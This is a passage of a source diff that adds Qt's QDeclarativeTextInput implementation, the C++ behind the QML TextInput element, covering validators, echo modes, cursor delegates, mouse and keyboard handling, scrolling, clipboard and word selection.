+void QDeclarativeTextInput::setFocusOnPress(bool b)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->focusOnPress == b)
+ return;
+
+ d->focusOnPress = b;
+
+ emit activeFocusOnPressChanged(d->focusOnPress);
+}
+
+/*!
+ \qmlproperty bool TextInput::autoScroll
+
+ Whether the TextInput should scroll when the text is longer than the width. By default this is
+ set to true.
+*/
+bool QDeclarativeTextInput::autoScroll() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->autoScroll;
+}
+
+void QDeclarativeTextInput::setAutoScroll(bool b)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->autoScroll == b)
+ return;
+
+ d->autoScroll = b;
+ //We need to repaint so that the scrolling is taking into account.
+ updateSize(true);
+ updateCursorRectangle();
+ emit autoScrollChanged(d->autoScroll);
+}
+
+/*!
+ \qmlclass IntValidator QIntValidator
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator for integer values.
+
+ IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
+ will accept locale specific digits, group separators, and positive and negative signs. In
+ addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
+ locale.
+*/
+/*!
+ \qmlproperty int IntValidator::top
+
+ This property holds the validator's highest acceptable value.
+ By default, this property's value is derived from the highest signed integer available (typically 2147483647).
+*/
+/*!
+ \qmlproperty int IntValidator::bottom
+
+ This property holds the validator's lowest acceptable value.
+ By default, this property's value is derived from the lowest signed integer available (typically -2147483647).
+*/
+
+/*!
+ \qmlclass DoubleValidator QDoubleValidator
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator for non-integer numbers.
+*/
+
+/*!
+ \qmlproperty real DoubleValidator::top
+
+ This property holds the validator's maximum acceptable value.
+ By default, this property contains a value of infinity.
+*/
+/*!
+ \qmlproperty real DoubleValidator::bottom
+
+ This property holds the validator's minimum acceptable value.
+ By default, this property contains a value of -infinity.
+*/
+/*!
+ \qmlproperty int DoubleValidator::decimals
+
+ This property holds the validator's maximum number of digits after the decimal point.
+ By default, this property contains a value of 1000.
+*/
+/*!
+ \qmlproperty enumeration DoubleValidator::notation
+ This property holds the notation of how a string can describe a number.
+
+ The possible values for this property are:
+
+ \list
+ \o DoubleValidator.StandardNotation
+ \o DoubleValidator.ScientificNotation (default)
+ \endlist
+
+ If this property is set to DoubleValidator.ScientificNotation, the written number may have an exponent part (e.g. 1.5E-2).
+*/
+
+/*!
+ \qmlclass RegExpValidator QRegExpValidator
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator, which counts as valid any string which
+ matches a specified regular expression.
+*/
+/*!
+ \qmlproperty regExp RegExpValidator::regExp
+
+ This property holds the regular expression used for validation.
+
+ Note that this property should be a regular expression in JS syntax, e.g /a/ for the regular expression
+ matching "a".
+
+ By default, this property contains a regular expression with the pattern .* that matches any string.
+*/
+
+/*!
+ \qmlproperty Validator TextInput::validator
+
+ Allows you to set a validator on the TextInput. When a validator is set
+ the TextInput will only accept input which leaves the text property in
+ an acceptable or intermediate state. The accepted signal will only be sent
+ if the text is in an acceptable state when enter is pressed.
+
+ Currently supported validators are IntValidator, DoubleValidator and
+ RegExpValidator. An example of using validators is shown below, which allows
+ input of integers between 11 and 31 into the text input:
+
+ \code
+ import QtQuick 1.0
+ TextInput{
+ validator: IntValidator{bottom: 11; top: 31;}
+ focus: true
+ }
+ \endcode
+
+ \sa acceptableInput, inputMask
+*/
+#ifndef QT_NO_VALIDATOR
+QValidator* QDeclarativeTextInput::validator() const
+{
+ Q_D(const QDeclarativeTextInput);
+ //###const cast isn't good, but needed for property system?
+ return const_cast<QValidator*>(d->control->validator());
+}
+
+void QDeclarativeTextInput::setValidator(QValidator* v)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->control->validator() == v)
+ return;
+
+ d->control->setValidator(v);
+ if(!d->control->hasAcceptableInput()){
+ d->oldValidity = false;
+ emit acceptableInputChanged();
+ }
+
+ emit validatorChanged();
+}
+#endif // QT_NO_VALIDATOR
+
+/*!
+ \qmlproperty string TextInput::inputMask
+
+ Allows you to set an input mask on the TextInput, restricting the allowable
+ text inputs. See QLineEdit::inputMask for further details, as the exact
+ same mask strings are used by TextInput.
+
+ \sa acceptableInput, validator
+*/
+QString QDeclarativeTextInput::inputMask() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->inputMask();
+}
+
+void QDeclarativeTextInput::setInputMask(const QString &im)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->control->inputMask() == im)
+ return;
+
+ d->control->setInputMask(im);
+ emit inputMaskChanged(d->control->inputMask());
+}
+
+/*!
+ \qmlproperty bool TextInput::acceptableInput
+
+ This property is always true unless a validator or input mask has been set.
+ If a validator or input mask has been set, this property will only be true
+ if the current text is acceptable to the validator or input mask as a final
+ string (not as an intermediate string).
+*/
+bool QDeclarativeTextInput::hasAcceptableInput() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->hasAcceptableInput();
+}
+
+/*!
+ \qmlsignal TextInput::onAccepted()
+
+ This handler is called when the Return or Enter key is pressed.
+ Note that if there is a \l validator or \l inputMask set on the text
+ input, the handler will only be emitted if the input is in an acceptable
+ state.
+*/
+
+void QDeclarativeTextInputPrivate::updateInputMethodHints()
+{
+ Q_Q(QDeclarativeTextInput);
+ Qt::InputMethodHints hints = inputMethodHints;
+ uint echo = control->echoMode();
+ if (echo == QDeclarativeTextInput::Password || echo == QDeclarativeTextInput::NoEcho)
+ hints |= Qt::ImhHiddenText;
+ else if (echo == QDeclarativeTextInput::PasswordEchoOnEdit)
+ hints &= ~Qt::ImhHiddenText;
+ if (echo != QDeclarativeTextInput::Normal)
+ hints |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ q->setInputMethodHints(hints);
+}
+
+/*!
+ \qmlproperty enumeration TextInput::echoMode
+
+ Specifies how the text should be displayed in the TextInput.
+ \list
+ \o TextInput.Normal - Displays the text as it is. (Default)
+ \o TextInput.Password - Displays asterixes instead of characters.
+ \o TextInput.NoEcho - Displays nothing.
+ \o TextInput.PasswordEchoOnEdit - Displays characters as they are entered
+ while editing, otherwise displays asterisks.
+ \endlist
+*/
+QDeclarativeTextInput::EchoMode QDeclarativeTextInput::echoMode() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return (QDeclarativeTextInput::EchoMode)d->control->echoMode();
+}
+
+void QDeclarativeTextInput::setEchoMode(QDeclarativeTextInput::EchoMode echo)
+{
+ Q_D(QDeclarativeTextInput);
+ if (echoMode() == echo)
+ return;
+ d->control->setEchoMode((uint)echo);
+ d->updateInputMethodHints();
+ q_textChanged();
+ emit echoModeChanged(echoMode());
+}
+
+Qt::InputMethodHints QDeclarativeTextInput::imHints() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->inputMethodHints;
+}
+
+void QDeclarativeTextInput::setIMHints(Qt::InputMethodHints hints)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->inputMethodHints == hints)
+ return;
+ d->inputMethodHints = hints;
+ d->updateInputMethodHints();
+}
+
+/*!
+ \qmlproperty Component TextInput::cursorDelegate
+ The delegate for the cursor in the TextInput.
+
+ If you set a cursorDelegate for a TextInput, this delegate will be used for
+ drawing the cursor instead of the standard cursor. An instance of the
+ delegate will be created and managed by the TextInput when a cursor is
+ needed, and the x property of delegate instance will be set so as
+ to be one pixel before the top left of the current character.
+
+ Note that the root item of the delegate component must be a QDeclarativeItem or
+ QDeclarativeItem derived item.
+*/
+QDeclarativeComponent* QDeclarativeTextInput::cursorDelegate() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->cursorComponent;
+}
+
+void QDeclarativeTextInput::setCursorDelegate(QDeclarativeComponent* c)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->cursorComponent == c)
+ return;
+
+ d->cursorComponent = c;
+ if(!c){
+ //note that the components are owned by something else
+ delete d->cursorItem;
+ }else{
+ d->startCreatingCursor();
+ }
+
+ emit cursorDelegateChanged();
+}
+
+void QDeclarativeTextInputPrivate::startCreatingCursor()
+{
+ Q_Q(QDeclarativeTextInput);
+ if(cursorComponent->isReady()){
+ q->createCursor();
+ }else if(cursorComponent->isLoading()){
+ q->connect(cursorComponent, SIGNAL(statusChanged(int)),
+ q, SLOT(createCursor()));
+ }else {//isError
+ qmlInfo(q, cursorComponent->errors()) << QDeclarativeTextInput::tr("Could not load cursor delegate");
+ }
+}
+
+void QDeclarativeTextInput::createCursor()
+{
+ Q_D(QDeclarativeTextInput);
+ if(d->cursorComponent->isError()){
+ qmlInfo(this, d->cursorComponent->errors()) << tr("Could not load cursor delegate");
+ return;
+ }
+
+ if(!d->cursorComponent->isReady())
+ return;
+
+ if(d->cursorItem)
+ delete d->cursorItem;
+ d->cursorItem = qobject_cast<QDeclarativeItem*>(d->cursorComponent->create());
+ if(!d->cursorItem){
+ qmlInfo(this, d->cursorComponent->errors()) << tr("Could not instantiate cursor delegate");
+ return;
+ }
+
+ QDeclarative_setParent_noEvent(d->cursorItem, this);
+ d->cursorItem->setParentItem(this);
+ d->cursorItem->setX(d->control->cursorToX());
+ d->cursorItem->setHeight(d->control->height()-1); // -1 to counter QLineControl's +1 which is not consistent with Text.
+}
+
+/*!
+ \qmlmethod rect TextInput::positionToRectangle(int pos)
+
+ This function takes a character position and returns the rectangle that the
+ cursor would occupy, if it was placed at that character position.
+
+ This is similar to setting the cursorPosition, and then querying the cursor
+ rectangle, but the cursorPosition is not changed.
+*/
+QRectF QDeclarativeTextInput::positionToRectangle(int pos) const
+{
+ Q_D(const QDeclarativeTextInput);
+ if (pos > d->control->cursorPosition())
+ pos += d->control->preeditAreaText().length();
+ return QRectF(d->control->cursorToX(pos)-d->hscroll,
+ 0.0,
+ d->control->cursorWidth(),
+ cursorRectangle().height());
+}
+
+int QDeclarativeTextInput::positionAt(int x) const
+{
+ return positionAt(x, CursorBetweenCharacters);
+}
+
+/*!
+ \qmlmethod int TextInput::positionAt(int x, CursorPosition position = CursorBetweenCharacters)
+ \since QtQuick 1.1
+
+ This function returns the character position at
+ x pixels from the left of the textInput. Position 0 is before the
+ first character, position 1 is after the first character but before the second,
+ and so on until position text.length, which is after all characters.
+
+ This means that for all x values before the first character this function returns 0,
+ and for all x values after the last character this function returns text.length.
+
+ The cursor position type specifies how the cursor position should be resolved.
+
+ \list
+ \o TextInput.CursorBetweenCharacters - Returns the position between characters that is nearest x.
+ \o TextInput.CursorOnCharacter - Returns the position before the character that is nearest x.
+ \endlist
+*/
+int QDeclarativeTextInput::positionAt(int x, CursorPosition position) const
+{
+ Q_D(const QDeclarativeTextInput);
+ int pos = d->control->xToPos(x + d->hscroll, QTextLine::CursorPosition(position));
+ const int cursor = d->control->cursor();
+ if (pos > cursor) {
+ const int preeditLength = d->control->preeditAreaText().length();
+ pos = pos > cursor + preeditLength
+ ? pos - preeditLength
+ : cursor;
+ }
+ return pos;
+}
+
+void QDeclarativeTextInputPrivate::focusChanged(bool hasFocus)
+{
+ Q_Q(QDeclarativeTextInput);
+ focused = hasFocus;
+ q->setCursorVisible(hasFocus && scene && scene->hasFocus());
+ if(!hasFocus && control->passwordEchoEditing())
+ control->updatePasswordEchoEditing(false);//QLineControl sets it on key events, but doesn't deal with focus events
+ if (!hasFocus)
+ control->deselect();
+ QDeclarativeItemPrivate::focusChanged(hasFocus);
+}
+
+void QDeclarativeTextInput::keyPressEvent(QKeyEvent* ev)
+{
+ Q_D(QDeclarativeTextInput);
+ keyPressPreHandler(ev);
+ if (ev->isAccepted())
+ return;
+
+ // Don't allow MacOSX up/down support, and we don't allow a completer.
+ bool ignore = (ev->key() == Qt::Key_Up || ev->key() == Qt::Key_Down) && ev->modifiers() == Qt::NoModifier;
+ if (!ignore && (d->lastSelectionStart == d->lastSelectionEnd) && (ev->key() == Qt::Key_Right || ev->key() == Qt::Key_Left)) {
+ // Ignore when moving off the end unless there is a selection,
+ // because then moving will do something (deselect).
+ int cursorPosition = d->control->cursor();
+ if (cursorPosition == 0)
+ ignore = ev->key() == (d->control->layoutDirection() == Qt::LeftToRight ? Qt::Key_Left : Qt::Key_Right);
+ if (cursorPosition == d->control->text().length())
+ ignore = ev->key() == (d->control->layoutDirection() == Qt::LeftToRight ? Qt::Key_Right : Qt::Key_Left);
+ }
+ if (ignore) {
+ ev->ignore();
+ } else {
+ d->control->processKeyEvent(ev);
+ }
+ if (!ev->isAccepted())
+ QDeclarativePaintedItem::keyPressEvent(ev);
+}
+
+void QDeclarativeTextInput::inputMethodEvent(QInputMethodEvent *ev)
+{
+ Q_D(QDeclarativeTextInput);
+ ev->ignore();
+ const bool wasComposing = d->control->preeditAreaText().length() > 0;
+ inputMethodPreHandler(ev);
+ if (!ev->isAccepted()) {
+ if (d->control->isReadOnly()) {
+ ev->ignore();
+ } else {
+ d->control->processInputMethodEvent(ev);
+ }
+ }
+ if (!ev->isAccepted())
+ QDeclarativePaintedItem::inputMethodEvent(ev);
+
+ if (wasComposing != (d->control->preeditAreaText().length() > 0))
+ emit inputMethodComposingChanged();
+}
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonDblClick))
+ return;
+ if (d->selectByMouse) {
+ int cursor = d->xToPos(event->pos().x());
+ d->control->selectWordAtPos(cursor);
+ event->setAccepted(true);
+ } else {
+ QDeclarativePaintedItem::mouseDoubleClickEvent(event);
+ }
+}
+
+void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonPress))
+ return;
+ if(d->focusOnPress){
+ bool hadActiveFocus = hasActiveFocus();
+ forceActiveFocus();
+ if (d->showInputPanelOnFocus) {
+ if (hasActiveFocus() && hadActiveFocus && !isReadOnly()) {
+ // re-open input panel on press if already focused
+ openSoftwareInputPanel();
+ }
+ } else { // show input panel on click
+ if (hasActiveFocus() && !hadActiveFocus) {
+ d->clickCausedFocus = true;
+ }
+ }
+ }
+ if (d->selectByMouse) {
+ setKeepMouseGrab(false);
+ d->selectPressed = true;
+ d->pressPos = event->pos();
+ }
+ bool mark = (event->modifiers() & Qt::ShiftModifier) && d->selectByMouse;
+ int cursor = d->xToPos(event->pos().x());
+ d->control->moveCursor(cursor, mark);
+ event->setAccepted(true);
+}
+
+void QDeclarativeTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseMove))
+ return;
+ if (d->selectPressed) {
+ if (qAbs(int(event->pos().x() - d->pressPos.x())) > QApplication::startDragDistance())
+ setKeepMouseGrab(true);
+ moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
+ event->setAccepted(true);
+ } else {
+ QDeclarativePaintedItem::mouseMoveEvent(event);
+ }
+}
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonRelease))
+ return;
+ if (d->selectPressed) {
+ d->selectPressed = false;
+ setKeepMouseGrab(false);
+ }
+ if (!d->showInputPanelOnFocus) { // input panel on click
+ if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) {
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ qt_widget_private(view)->handleSoftwareInputPanel(event->button(), d->clickCausedFocus);
+ }
+ }
+ }
+ }
+ d->clickCausedFocus = false;
+ d->control->processEvent(event);
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::mouseReleaseEvent(event);
+}
+
+bool QDeclarativeTextInputPrivate::sendMouseEventToInputContext(
+ QGraphicsSceneMouseEvent *event, QEvent::Type eventType)
+{
+#if !defined QT_NO_IM
+ if (event->widget() && control->composeMode()) {
+ int tmp_cursor = xToPos(event->pos().x());
+ int mousePos = tmp_cursor - control->cursor();
+ if (mousePos < 0 || mousePos > control->preeditAreaText().length()) {
+ mousePos = -1;
+ // don't send move events outside the preedit area
+ if (eventType == QEvent::MouseMove)
+ return true;
+ }
+
+ QInputContext *qic = event->widget()->inputContext();
+ if (qic) {
+ QMouseEvent mouseEvent(
+ eventType,
+ event->widget()->mapFromGlobal(event->screenPos()),
+ event->screenPos(),
+ event->button(),
+ event->buttons(),
+ event->modifiers());
+ // may be causing reset() in some input methods
+ qic->mouseHandler(mousePos, &mouseEvent);
+ event->setAccepted(mouseEvent.isAccepted());
+ }
+ if (!control->preeditAreaText().isEmpty())
+ return true;
+ }
+#else
+ Q_UNUSED(event);
+ Q_UNUSED(eventType)
+#endif
+
+ return false;
+}
+
+bool QDeclarativeTextInput::sceneEvent(QEvent *event)
+{
+ Q_D(QDeclarativeTextInput);
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ d->selectPressed = false;
+ setKeepMouseGrab(false);
+ }
+ return rv;
+}
+
+bool QDeclarativeTextInput::event(QEvent* ev)
+{
+ Q_D(QDeclarativeTextInput);
+ //Anything we don't deal with ourselves, pass to the control
+ bool handled = false;
+ switch(ev->type()){
+ case QEvent::KeyPress:
+ case QEvent::KeyRelease://###Should the control be doing anything with release?
+ case QEvent::InputMethod:
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ case QEvent::GraphicsSceneMouseDoubleClick:
+ break;
+ default:
+ handled = d->control->processEvent(ev);
+ }
+ if(!handled)
+ handled = QDeclarativePaintedItem::event(ev);
+ return handled;
+}
+
+void QDeclarativeTextInput::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeTextInput);
+ if (newGeometry.width() != oldGeometry.width()) {
+ updateSize();
+ updateCursorRectangle();
+ }
+ QDeclarativePaintedItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+int QDeclarativeTextInputPrivate::calculateTextWidth()
+{
+ return qRound(control->naturalTextWidth());
+}
+
+void QDeclarativeTextInputPrivate::updateHorizontalScroll()
+{
+ Q_Q(QDeclarativeTextInput);
+ const int preeditLength = control->preeditAreaText().length();
+ int cix = qRound(control->cursorToX(control->cursor() + preeditLength));
+ QRect br(q->boundingRect().toRect());
+ int widthUsed = calculateTextWidth();
+
+ QDeclarativeTextInput::HAlignment effectiveHAlign = q->effectiveHAlign();
+ if (autoScroll) {
+ if (widthUsed <= br.width()) {
+ // text fits in br; use hscroll for alignment
+ switch (effectiveHAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
+ case Qt::AlignRight:
+ hscroll = widthUsed - br.width() - 1;
+ break;
+ case Qt::AlignHCenter:
+ hscroll = (widthUsed - br.width()) / 2;
+ break;
+ default:
+ // Left
+ hscroll = 0;
+ break;
+ }
+ } else if (cix - hscroll >= br.width()) {
+ // text doesn't fit, cursor is to the right of br (scroll right)
+ hscroll = cix - br.width() + 1;
+ } else if (cix - hscroll < 0 && hscroll < widthUsed) {
+ // text doesn't fit, cursor is to the left of br (scroll left)
+ hscroll = cix;
+ } else if (widthUsed - hscroll < br.width()) {
+ // text doesn't fit, text document is to the left of br; align
+ // right
+ hscroll = widthUsed - br.width() + 1;
+ }
+ if (preeditLength > 0) {
+ // check to ensure long pre-edit text doesn't push the cursor
+ // off to the left
+ cix = qRound(control->cursorToX(
+ control->cursor() + qMax(0, control->preeditCursor() - 1)));
+ if (cix < hscroll)
+ hscroll = cix;
+ }
+ } else {
+ switch (effectiveHAlign) {
+ case QDeclarativeTextInput::AlignRight:
+ hscroll = q->width() - widthUsed;
+ break;
+ case QDeclarativeTextInput::AlignHCenter:
+ hscroll = (q->width() - widthUsed) / 2;
+ break;
+ default:
+ // Left
+ hscroll = 0;
+ break;
+ }
+ }
+}
+
+void QDeclarativeTextInput::drawContents(QPainter *p, const QRect &r)
+{
+ Q_D(QDeclarativeTextInput);
+ p->setRenderHint(QPainter::TextAntialiasing, true);
+ p->save();
+ p->setPen(QPen(d->color));
+ int flags = QLineControl::DrawText;
+ if(!isReadOnly() && d->cursorVisible && !d->cursorItem)
+ flags |= QLineControl::DrawCursor;
+ if (d->control->hasSelectedText())
+ flags |= QLineControl::DrawSelections;
+ QPoint offset = QPoint(0,0);
+ QFontMetrics fm = QFontMetrics(d->font);
+ QRect br(boundingRect().toRect());
+ if (d->autoScroll) {
+ // the y offset is there to keep the baseline constant in case we have script changes in the text.
+ offset = br.topLeft() - QPoint(d->hscroll, d->control->ascent() - fm.ascent());
+ } else {
+ offset = QPoint(d->hscroll, 0);
+ }
+ d->control->draw(p, offset, r, flags);
+ p->restore();
+}
+
+/*!
+\overload
+Returns the value of the given \a property.
+*/
+QVariant QDeclarativeTextInput::inputMethodQuery(Qt::InputMethodQuery property) const
+{
+ Q_D(const QDeclarativeTextInput);
+ switch(property) {
+ case Qt::ImMicroFocus:
+ return cursorRectangle();
+ case Qt::ImFont:
+ return font();
+ case Qt::ImCursorPosition:
+ return QVariant(d->control->cursor());
+ case Qt::ImSurroundingText:
+ if (d->control->echoMode() == PasswordEchoOnEdit && !d->control->passwordEchoEditing())
+ return QVariant(displayText());
+ else
+ return QVariant(text());
+ case Qt::ImCurrentSelection:
+ return QVariant(selectedText());
+ case Qt::ImMaximumTextLength:
+ return QVariant(maxLength());
+ case Qt::ImAnchorPosition:
+ if (d->control->selectionStart() == d->control->selectionEnd())
+ return QVariant(d->control->cursor());
+ else if (d->control->selectionStart() == d->control->cursor())
+ return QVariant(d->control->selectionEnd());
+ else
+ return QVariant(d->control->selectionStart());
+ default:
+ return QVariant();
+ }
+}
+
+/*!
+ \qmlmethod void TextInput::deselect()
+ \since QtQuick 1.1
+
+ Removes active text selection.
+*/
+void QDeclarativeTextInput::deselect()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->deselect();
+}
+
+/*!
+ \qmlmethod void TextInput::selectAll()
+
+ Causes all text to be selected.
+*/
+void QDeclarativeTextInput::selectAll()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->setSelection(0, d->control->text().length());
+}
+
+/*!
+ \qmlmethod void TextInput::isRightToLeft(int start, int end)
+
+ Returns true if the natural reading direction of the editor text
+ found between positions \a start and \a end is right to left.
+*/
+bool QDeclarativeTextInput::isRightToLeft(int start, int end)
+{
+ Q_D(QDeclarativeTextInput);
+ if (start > end) {
+ qmlInfo(this) << "isRightToLeft(start, end) called with the end property being smaller than the start.";
+ return false;
+ } else {
+ return d->control->text().mid(start, end - start).isRightToLeft();
+ }
+}
+
+#ifndef QT_NO_CLIPBOARD
+/*!
+ \qmlmethod TextInput::cut()
+
+ Moves the currently selected text to the system clipboard.
+*/
+void QDeclarativeTextInput::cut()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->copy();
+ d->control->del();
+}
+
+/*!
+ \qmlmethod TextInput::copy()
+
+ Copies the currently selected text to the system clipboard.
+*/
+void QDeclarativeTextInput::copy()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->copy();
+}
+
+/*!
+ \qmlmethod TextInput::paste()
+
+ Replaces the currently selected text by the contents of the system clipboard.
+*/
+void QDeclarativeTextInput::paste()
+{
+ Q_D(QDeclarativeTextInput);
+ if(!d->control->isReadOnly())
+ d->control->paste();
+}
+#endif // QT_NO_CLIPBOARD
+
+/*!
+ \qmlmethod void TextInput::selectWord()
+
+ Causes the word closest to the current cursor position to be selected.
+*/
+void QDeclarativeTextInput::selectWord()
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->selectWordAtPos(d->control->cursor());
+}
+
+/*!
+ \qmlproperty bool TextInput::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty string TextInput::passwordCharacter
+
+ This is the character displayed when echoMode is set to Password or
+ PasswordEchoOnEdit. By default it is an asterisk.
+
+ If this property is set to a string with more than one character,
+ the first character is used. If the string is empty, the value
+ is ignored and the property is not set.
+*/
+QString QDeclarativeTextInput::passwordCharacter() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return QString(d->control->passwordCharacter());
+}
+
+void QDeclarativeTextInput::setPasswordCharacter(const QString &str)
+{
+ Q_D(QDeclarativeTextInput);
+ if(str.length() < 1)
+ return;
+ d->control->setPasswordCharacter(str.constData()[0]);
+ EchoMode echoMode_ = echoMode();
+ if (echoMode_ == Password || echoMode_ == PasswordEchoOnEdit) {
+ updateSize();
+ }
+ emit passwordCharacterChanged();
+}
+
+/*!
+ \qmlproperty string TextInput::displayText
+
+ This is the text displayed in the TextInput.
+
+ If \l echoMode is set to TextInput::Normal, this holds the
+ same value as the TextInput::text property. Otherwise,
+ this property holds the text visible to the user, while
+ the \l text property holds the actual entered text.
+*/
+QString QDeclarativeTextInput::displayText() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->displayText();
+}
+
+/*!
+ \qmlproperty bool TextInput::selectByMouse
+
+ Defaults to false.
+
+ If true, the user can use the mouse to select text in some
+ platform-specific way. Note that for some platforms this may
+ not be an appropriate interaction (eg. may conflict with how
+ the text needs to behave inside a Flickable.
+*/
+bool QDeclarativeTextInput::selectByMouse() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->selectByMouse;
+}
+
+void QDeclarativeTextInput::setSelectByMouse(bool on)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->selectByMouse != on) {
+ d->selectByMouse = on;
+ emit selectByMouseChanged(on);
+ }
+}
+
+/*!
+ \qmlproperty enum TextInput::mouseSelectionMode
+ \since QtQuick 1.1
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextInput.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextInput::SelectionMode QDeclarativeTextInput::mouseSelectionMode() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextInput::setMouseSelectionMode(SelectionMode mode)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->mouseSelectionMode != mode) {
+ d->mouseSelectionMode = mode;
+ emit mouseSelectionModeChanged(mode);
+ }
+}
+
+/*!
+ \qmlproperty bool TextInput::canPaste
+ \since QtQuick 1.1
+
+ Returns true if the TextInput is writable and the content of the clipboard is
+ suitable for pasting into the TextEdit.
+*/
+bool QDeclarativeTextInput::canPaste() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->canPaste;
+}
+
+void QDeclarativeTextInput::moveCursorSelection(int position)
+{
+ Q_D(QDeclarativeTextInput);
+ d->control->moveCursor(position, true);
+}
+
+/*!
+ \qmlmethod void TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters)
+ \since QtQuick 1.1
+
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
+
+ When this method is called it additionally sets either the
+ selectionStart or the selectionEnd (whichever was at the previous cursor position)
+ to the specified position. This allows you to easily extend and contract the selected
+ text range.
+
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextInput.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
+ For example, take this sequence of calls:
+
+ \code
+ cursorPosition = 5
+ moveCursorSelection(9, TextInput.SelectCharacters)
+ moveCursorSelection(7, TextInput.SelectCharacters)
+ \endcode
+
+ This moves the cursor to position 5, extend the selection end from 5 to 9
+ and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
+ selected (the 6th and 7th characters).
+
+ The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
+*/
+void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
+{
+ Q_D(QDeclarativeTextInput);
+
+ if (mode == SelectCharacters) {
+ d->control->moveCursor(pos, true);
+ } else if (pos != d->control->cursor()){
+ const int cursor = d->control->cursor();
+ int anchor;
+ if (!d->control->hasSelectedText())
+ anchor = d->control->cursor();
+ else if (d->control->selectionStart() == d->control->cursor())
+ anchor = d->control->selectionEnd();
+ else
+ anchor = d->control->selectionStart();
+
+ if (anchor < pos || (anchor == pos && cursor < pos)) {
+ const QString text = d->control->text();
+ QTextBoundaryFinder finder(QTextBoundaryFinder::Word, text);
+ finder.setPosition(anchor);
+
+ const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+ if (anchor < text.length() && (!(reasons & QTextBoundaryFinder::StartWord)
+ || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor))) {
+ finder.toPreviousBoundary();
+ }
+ anchor = finder.position() != -1 ? finder.position() : 0;
+
+ finder.setPosition(pos);
+ if (pos > 0 && !finder.boundaryReasons())
+ finder.toNextBoundary();
+ const int cursor = finder.position() != -1 ? finder.position() : text.length();
+
+ d->control->setSelection(anchor, cursor - anchor);
+ } else if (anchor > pos || (anchor == pos && cursor > pos)) {
